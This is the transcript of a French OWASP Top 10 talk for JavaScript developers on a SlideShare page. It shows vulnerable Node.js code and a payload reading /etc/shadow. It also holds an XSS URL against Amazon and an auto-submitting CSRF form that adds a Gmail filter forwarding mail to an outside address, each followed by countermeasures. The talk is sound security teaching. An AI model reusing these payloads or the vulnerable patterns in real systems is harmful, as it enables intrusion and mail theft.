2013 02-27-owasp top10 javascript
Upcoming SlideShare
Loading in...5
×
 

Like this? Share it with your network

Share

2013 02-27-owasp top10 javascript

le

  • 1,660 vues

 

Statistiques

Vues

Total des vues
1,660
Vues sur SlideShare
1,266
Vues externes
394

Actions

J'aime
3
Téléchargements
17
Commentaires
0

4 Ajouts 394

http://www.scoop.it 383
https://twitter.com 8
http://translate.googleusercontent.com 2
http://kred.com 1

Accessibilité

Catégories

Détails de l'import

Uploaded via as Adobe PDF

Droits d'utilisation

© Tous droits réservés

Report content

Signalé comme inapproprié Signaler comme inapproprié
Signaler comme inapproprié

Indiquez la raison pour laquelle vous avez signalé cette présentation comme n'étant pas appropriée.

Annuler
  • Full Name Full Name Comment goes here.
    Êtes-vous sûr de vouloir
    Votre message apparaîtra ici
    Processing...
Poster un commentaire
Modifier votre commentaire

2013 02-27-owasp top10 javascript Presentation Transcript

  • 1. OWASP  Top  10  2010   pour  le  développeur  JavaScript Sébas;en  Gioria OWASP  France  Leader  -­‐  OWASP  Global  Educa;on  CommiDee Confoo.ca  -­‐  27  Février  2013  -­‐  Montréal  -­‐  CanadaSaturday, March 2, 13
  • 2. http://www.google.fr/#q=sebastien gioria ‣Consultant Indépendant en Sécurité Applicative ‣OWASP France Leader & Founder - Evangéliste ‣OWASP Global Education Comittee Member (sebastien.gioria@owasp.org) Twitter :@SPointSaturday, March 2, 13 2
  • 3. O-­‐ou-­‐a-­‐ss-­‐pe? • OWASP  =  Open  Web  Applica6on  Security  Project – Il  y  a  le  mot  “web”  mais  en  fait  … • Mission: – Global,  ouvert,  non  lucra6f,  indépendant. • Communauté  OWASP: – 30,000  abonnés  aux  listes  de  diffusion   – 200  sec6ons  régionales  ac6ves  dans  70  pays – 1’600  membres  officiels,  56  entreprises  partenaires – 69  ins6tu6ons  académiquesSaturday, March 2, 13
  • 4. OWASP  Canada • Sec6ons  OWASP  au  Canada: – Alberta:  Edmonton  &  Lethbridge – Bri6sh  Columbia:  Okanagan  &  Vancouver – Manitoba:  Winnipeg – New  Brunswick:  New  Brunswick – Ontario:  Niagara,  Toronto – Quebec:  Montréal,  Obawa,  Quebec  citySaturday, March 2, 13
  • 5. 5Saturday, March 2, 13
  • 6. Que  se  passe-­‐t-­‐il  ?   var http = require(http); http.createServer(function (request, response) { if (request.method === POST) { ! var data = ; ! request.addListener(data, function(chunk) { data += chunk; }); ! request.addListener(end, function() { ! var stockQuery = eval("(" + data + ")"); ! var price = getStockPrice(stockQuery.symbol); ! ... }); 6Saturday, March 2, 13
  • 7. Que  se  passe-­‐t-­‐il  ?   var http = require(http); http.createServer(function (request, response) { if (request.method === POST) { ! var data = ; ! request.addListener(data, function(chunk) { data += chunk; }); ! request.addListener(end, function() { ! var stockQuery = eval("(" + data + ")"); ! var price = getStockPrice(stockQuery.symbol); ! ... }); 6Saturday, March 2, 13
  • 8. Que  se  passe-­‐t-­‐il  ?   var http = require(http); http.createServer(function (request, response) { if (request.method === POST) { ! var data = ; ! request.addListener(data, function(chunk) { data += chunk; }); ! request.addListener(end, function() { ! var stockQuery = eval("(" + data + ")"); ! var price = getStockPrice(stockQuery.symbol); ! ... }); var fs = require(fs); return fs.readFileSync(/etc/shadow); 6Saturday, March 2, 13
  • 9. Que  se  passe-­‐t-­‐il  ?   var http = require(http); http.createServer(function (request, response) { if (request.method === POST) { ! var data = ; ! request.addListener(data, function(chunk) { data += chunk; }); ! request.addListener(end, function() { ! var stockQuery = eval("(" + data + ")"); ! var price = getStockPrice(stockQuery.symbol); ! ... }); var fs = require(fs); return fs.readFileSync(/etc/shadow); 6Saturday, March 2, 13
  • 10. Que  se  passe-­‐t-­‐il  ?   var http = require(http); http.createServer(function (request, response) { if (request.method === POST) { ! var data = ; ! request.addListener(data, function(chunk) { data += chunk; }); ! request.addListener(end, function() { ! var stockQuery = eval("(" + data + ")"); ! var price = getStockPrice(stockQuery.symbol); ! ... }); var fs = require(fs); return fs.readFileSync(/etc/shadow); root:$6$enEZGERdwP$hN4bR9BJd7JVQ/OKDF354DFfdg’DFG.4.OKs2HE/BD7qqQPWpvFe5TCJeblSUKZFswLq0P0:15293:0:99999:7::: daemon:*:14743:0:99999:7::: bin:*:14743:0:99999:7::: sys:*:14743:0:99999:7::: spoint:$6$454FDfd$fBXQtwOtNQ71OEMj78uxidxLthoedggioerjgoeirg34FDVDFVoqv9ulQ1W2At6MFT0/1VfAAb6G.lFr.qYhSMaMnz1:15293:0:99999:7::: landscape:*:15293:0:99999:7::: bind:*:15293:0:99999:7::: ntpd:*:15293:0:99999:7::: sshd:*:15293:0:99999:7::: mysql:!:15350:0:99999:7::: 6Saturday, March 2, 13
  • 11. Que  se  passe-­‐t-­‐il  ?   var http = require(http); http.createServer(function (request, response) { if (request.method === POST) { ! var data = ; ! request.addListener(data, function(chunk) { data += chunk; }); ! request.addListener(end, function() { ! var stockQuery = eval("(" + data + ")"); ! var price = getStockPrice(stockQuery.symbol); ! ... }); 6Saturday, March 2, 13
  • 12. Que  se  passe-­‐t-­‐il app.post(/login,  function(req,  res){        client.query(SELECT  *  FROM  users  WHERE  username="  +  req.body.login  +  "  AND  password="  +  Hash.sha1(req.body.password)  +  ",                function  (err,  results,  fields)  {                        if  (err)  {                                throw  err;                        }                        if  (results[0])  {                                req.session.userInfo  =  results[0];                                req.session.is_logged_in  =  true;                                res.render(site/start,  {                                        title:  News                                });                        }                        else  {                                res.redirect(/);                        }                }        ); }); 7Saturday, March 2, 13
  • 13. 8Saturday, March 2, 13
  • 14. 8Saturday, March 2, 13
  • 15. 8Saturday, March 2, 13
  • 16. 8Saturday, March 2, 13
  • 17. 8Saturday, March 2, 13
  • 18. 8Saturday, March 2, 13
  • 19. 8Saturday, March 2, 13
  • 20. 8Saturday, March 2, 13
  • 21. Contre-­‐mesure ★Valider les données ★Utiliser les mécanismes des requêtes paramétrées quand elles sont disponibles client.query(SELECT * FROM users WHERE username=?, [username], ...) ★Minimiser les privilèges des utilisateurs ★Input validation Cheat Sheet : ★https://www.owasp.org/index.php/ Input_Validation_Cheat_Sheet 9Saturday, March 2, 13
  • 22. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site  A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise  A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à  Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10Saturday, March 2, 13
  • 23. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site  A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise  A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à  Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10Saturday, March 2, 13
  • 24. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site  A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise  A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à  Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10Saturday, March 2, 13
  • 25. 11Saturday, March 2, 13
  • 26. <script> var url = window.location.href; var pos = url.indexOf("field-author=") + 6; var len = url.length; var title_string = url.substring(pos,len); document.write(unescape(title_string)); </script> http://www.amazon.ca/s?ie=UTF8&search-type=ss&index=books-ca&field-author=%22%3E %3Cscript%3Ealert(%2 2XSS%20BY%20Fugitif%22)%3C/script%3E 12Saturday, March 2, 13
  • 27. <script> var url = window.location.href; var pos = url.indexOf("field-author=") + 6; var len = url.length; var title_string = url.substring(pos,len); document.write(unescape(title_string)); </script> http://www.amazon.ca/s?ie=UTF8&search-type=ss&index=books-ca&field-author=%22%3E %3Cscript%3Ealert(%2 2XSS%20BY%20Fugitif%22)%3C/script%3E 12Saturday, March 2, 13
  • 28. 13Saturday, March 2, 13
  • 29. Contre-­‐Mesures ★Valider  les  données ★Encoder  les  données  de  sor6e ★OWASP  XSS    Cheat  Sheet ★hbps://www.owasp.org/index.php/ XSS_(Cross_Site_Scrip6ng)_Preven6on_Cheat _Sheet 14Saturday, March 2, 13
  • 30. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10Saturday, March 2, 13
  • 31. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10Saturday, March 2, 13
  • 32. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10Saturday, March 2, 13
  • 33. Saturday, March 2, 13
  • 34. 17Saturday, March 2, 13
  • 35. var users = [ {nom: "tom", prenom: "cat", adresse:{rue:"avenue victor hugo", num: "18", cp:"06000", ville:"NICE", login:"tom", pass: "4tom"}}, {nom: "you", prenom: "tube", adresse:{rue:"rue delille", num: "23", cp:"75000", ville:"PARIS", login:"java", pass: "you"}}, {nom: "rain", prenom: "bow", adresse:{rue:"impasse toulouse lautrec", num: "5", cp:"77500", ville:"CHELLES", login:"snow", pass: "cat"}} ]; 17Saturday, March 2, 13
  • 36. var users = [ {nom: "tom", prenom: "cat", adresse:{rue:"avenue victor hugo", num: "18", cp:"06000", ville:"NICE", login:"tom", pass: "4tom"}}, {nom: "you", prenom: "tube", adresse:{rue:"rue delille", num: "23", cp:"75000", ville:"PARIS", login:"java", pass: "you"}}, {nom: "rain", prenom: "bow", adresse:{rue:"impasse toulouse lautrec", num: "5", cp:"77500", ville:"CHELLES", login:"snow", pass: "cat"}} ]; function authenticate(user, passwd) { authentifie = false ; for(iu in users){ if(users[iu].login == user && users[iu].pass == pass){ authentifie = true ; break; } } } 17Saturday, March 2, 13
  • 37. 17Saturday, March 2, 13
  • 38. Contre-­‐Mesure ★Ne  pas  mebre  d’authen6fica6on  coté  client ★Ne  jamais  mebre  d’ID  de  session  dans  l’URL ★U6liser  des  générateurs  d’ID  de  session  sur  (pas   le  sien  !) ★Longueur  suffisante ★Aléa  suffisant ★Chiffrer  le  transport  de  l’ID  de  session  =>  TLS/SSL ★Regénérer  des  ID  de  session  apres  le  login  et  le   logout 18Saturday, March 2, 13
  • 39. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10Saturday, March 2, 13
  • 40. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10Saturday, March 2, 13
  • 41. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10Saturday, March 2, 13
  • 42. 20Saturday, March 2, 13
  • 43. 20Saturday, March 2, 13
  • 44. {"d":{"__type":"Customer:#Web","Address":"3 Childers St","CustomerID": 3,"Email":"brucec@aol.com","FirstName":"Bruce","Postcode":"3000","State":"VIC","Suburb": "Melbourne"}} 20Saturday, March 2, 13
  • 45. 21Saturday, March 2, 13
  • 46. 21Saturday, March 2, 13
  • 47. {"d":{"__type":"Customer:#Web","Address":"12/78 Burbank Lane","CustomerID": 4,"Email":"janedoe@hotmail.com","FirstName":"Jane","Postcode":"4000","State":"QLD","Subu rb":"Brisbane"}} 21Saturday, March 2, 13
  • 48. Contre-­‐mesure customerID  =  1A530637289A03B07199A44E8D531427 customerID  =  3 Indirect Reference Direct Reference Web Service Database Mainframe User Access Reference Map File System Indirect Reference Direct Reference Etc… customerID  =  1A530637289A03B07199A44E8D531427 customerID  =  3 22Saturday, March 2, 13
  • 49. Contre-­‐Mesure ★Ne  pas  exposer  de  clefs  de  base ★Mebre  en  place  des  contrôles  d’accès  serveurs ★Mebre  en  place  les  tables  de  références  d’accès 23Saturday, March 2, 13
  • 50. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10Saturday, March 2, 13
  • 51. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10Saturday, March 2, 13
  • 52. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10Saturday, March 2, 13
  • 53. 25Saturday, March 2, 13
  • 54. 1  -­‐  On  se  loggue  sur  GMAIL 26Saturday, March 2, 13
  • 55. Bien  noter  les  filtres  existants 27Saturday, March 2, 13
  • 56. 2  -­‐  On  accede  à  un  site  Web  contenant  le   code  suivant  : 28Saturday, March 2, 13
  • 57. 2  -­‐  On  accede  à  un  site  Web  contenant  le   code  suivant  :<form method="POST" action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf"enctype="multipart/form-data">! <input type="hidden" name="cf2_emc" value="true"/>! <input type="hidden" name="cf2_email" value="eagle@ckers.fr"/>! <input type="hidden" name="cf1_from" value="boss@company.com"/>! <input type="hidden" name="cf1_to" value=""/>! <input type="hidden" name="cf1_subj" value=""/>! <input type="hidden" name="cf1_has" value=""/>! <input type="hidden" name="cf1_hasnot" value=""/>! <input type="hidden" name="cf1_attach" value="true"/>! <input type="hidden" name="tfi" value=""/>! <input type="hidden" name="s" value="z"/>! <input type="hidden" name="irf" value="on"/>! <input type="hidden" name="nvp_bu_cftb" value="Create Filter"/></form><script>! document.forms[0].submit();</script> 28Saturday, March 2, 13
  • 58. 3  -­‐  Le  filtre  est  rajouté 29Saturday, March 2, 13
  • 59. Contre-­‐Mesures ★Préferer  POST  a  GET ★Supprimer  toutes  les  XSS ★Mebre  des  sessions  avec  expira6on  très  faible ★Rajouter  des  tokens  aléatoires  dans  les   requetes 30Saturday, March 2, 13
  • 60. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site  A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise  A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à  Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10Saturday, March 2, 13
  • 61. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site  A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise  A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à  Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10Saturday, March 2, 13
  • 62. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site  A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise  A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à  Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10Saturday, March 2, 13
  • 63. www.example.com api.ckers.fr si ble os Imp 32Saturday, March 2, 13
  • 64. CORS  ? www.example.com api.ckers.fr e ss ibl Po 33Saturday, March 2, 13
  • 65. CORS  ? www.example.com api.ckers.fr e ss ibl Po Access-Control-Allow-From: * Access-Control-Allow-Origin:33 *Saturday, March 2, 13
  • 66. Contre-­‐Mesure ★Toujours  u6liser  des  ou6ls/frameworks  à  jour ★Aben6on  à  la  configura6on  des  serveurs  Web ★Revoir  la  configura6on  des  librairies  et   modules  (même  le  plus  pe6t  morceau  de   code) ★Ne  pas  mebre  des  permissions  trop  “laxistes”   cf   •Access-Control-Allow-From •Access-Control-Allow-Origin 34Saturday, March 2, 13
  • 67. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site  A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise  A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à  Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10Saturday, March 2, 13
  • 68. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site  A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise  A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à  Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10Saturday, March 2, 13
  • 69. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site  A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise  A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à  Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10Saturday, March 2, 13
  • 70. 36Saturday, March 2, 13
  • 71. ★L’encodage  n’apporte  pas  de  protec6on ★Plutot  que  de  chiffrer  une  donnée,  se  poser  la   ques6on  de  l’u6lité  de  la  stocker  !   ★Préférer  “hasher”  les  données  plutôt  que  de  les   chiffrer   ★Ajouter  des  aléas  (sels)  différents  dans  le  hashage ★U6liser  des  algorithmes  ‘forts’   • SHA2 • AES • SHA3... 37Saturday, March 2, 13
  • 72. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10Saturday, March 2, 13
  • 73. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10Saturday, March 2, 13
  • 74. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10Saturday, March 2, 13
  • 75. 39Saturday, March 2, 13
  • 76. 39Saturday, March 2, 13
  • 77. 39Saturday, March 2, 13
  • 78. Contre-­‐Mesures • Configurer  correctement  la  restric6on   d’accès  sur  les  serveurs. • Empécher  le  lis6ng  de  directory  du  serveur. • Ajouter  les  bons  type-­‐mime. • .... 40Saturday, March 2, 13
  • 79. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10Saturday, March 2, 13 41
  • 80. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10Saturday, March 2, 13 41
  • 81. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10Saturday, March 2, 13 41
  • 82. 42Saturday, March 2, 13
  • 83. 43Saturday, March 2, 13
  • 84. 43Saturday, March 2, 13
  • 85. Contre-­‐Mesures  expérimentales   avec  JSON  • JSON  Web  Encryp;on  (JWE)  :  JSON  Web  Encryp6on  (JWE)  est  un  drax  expliquant   comment  représenter  un  élément  chiffrer  via  des  structures  de  données  JavaScript   Object  Nota6on  (JSON). ➡hDp://tools.iet.org/html/drau-­‐iet-­‐jose-­‐json-­‐web-­‐encryp;on-­‐07#page-­‐23  • JSON  Web  Signature  (JWS)  :  JSON  Web  Signature  (JWS)  est  un  drax  détaillant   comment  représenter  dans  une  strucutre  de  données  JSON,  du  contenu  u6lisant  des   signatures  numériques  ou  des  codes  dauthen6fica6on  de  message  (MAC). ➡hDp://tools.iet.org/html/drau-­‐iet-­‐jose-­‐json-­‐web-­‐signature-­‐07•  JSON  Web  Algorithm  (JWA)  :  JSON  Web  Algorithms  (JWA)  décrit  les  algorithmes,   iden6fiants  nécessaires  pour  lu6lisa6on  des  futurs  standars  JWE,  JWS  et  JWS. ➡hDp://tools.iet.org/html/drau-­‐iet-­‐jose-­‐json-­‐web-­‐algorithms• JSON  Web  Key  (JWK)  :    Une  structure  JSON  Web  Key  (JWK)  est  une  structure  JavaScript   Object  Nota6on  (JSON)  représentant  un  clef  publique.  Ce  drax  défini  aussi  la  manière   de  représenter  un  ensemble  de  structures  de  type  JWK.. ➡hDp://tools.iet.org/html/drau-­‐iet-­‐jose-­‐json-­‐web-­‐key-­‐07 44Saturday, March 2, 13
  • 86. Contre-­‐Mesures ★U6liser  TLS/SSL  dès  que  des  données  sensibles  sont  a   échanger ★Mebre  le  flag  ‘Secure’  sur  les  cookies  importants  (cookie  de   session  par  exemple) ★Ne  pas  mixer  d’accès  à  du  contenu  HTTP  depuis  du  contenu   HTTPS ★Mebre  en  place  une  configura6on  “sécurisée”  de  TLS/SSL  (cf   www.ssllabs.com) ★Voir    hDp://www.owasp.org/index.php/ Transport_Layer_Protec;on_Cheat_Sheet    pour  plus  de   details 45Saturday, March 2, 13
  • 87. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site  A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise  A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à  Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10Saturday, March 2, 13
  • 88. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site  A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise  A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à  Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10Saturday, March 2, 13
  • 89. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site  A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise  A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à  Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10Saturday, March 2, 13
  • 90. Saturday, March 2, 13
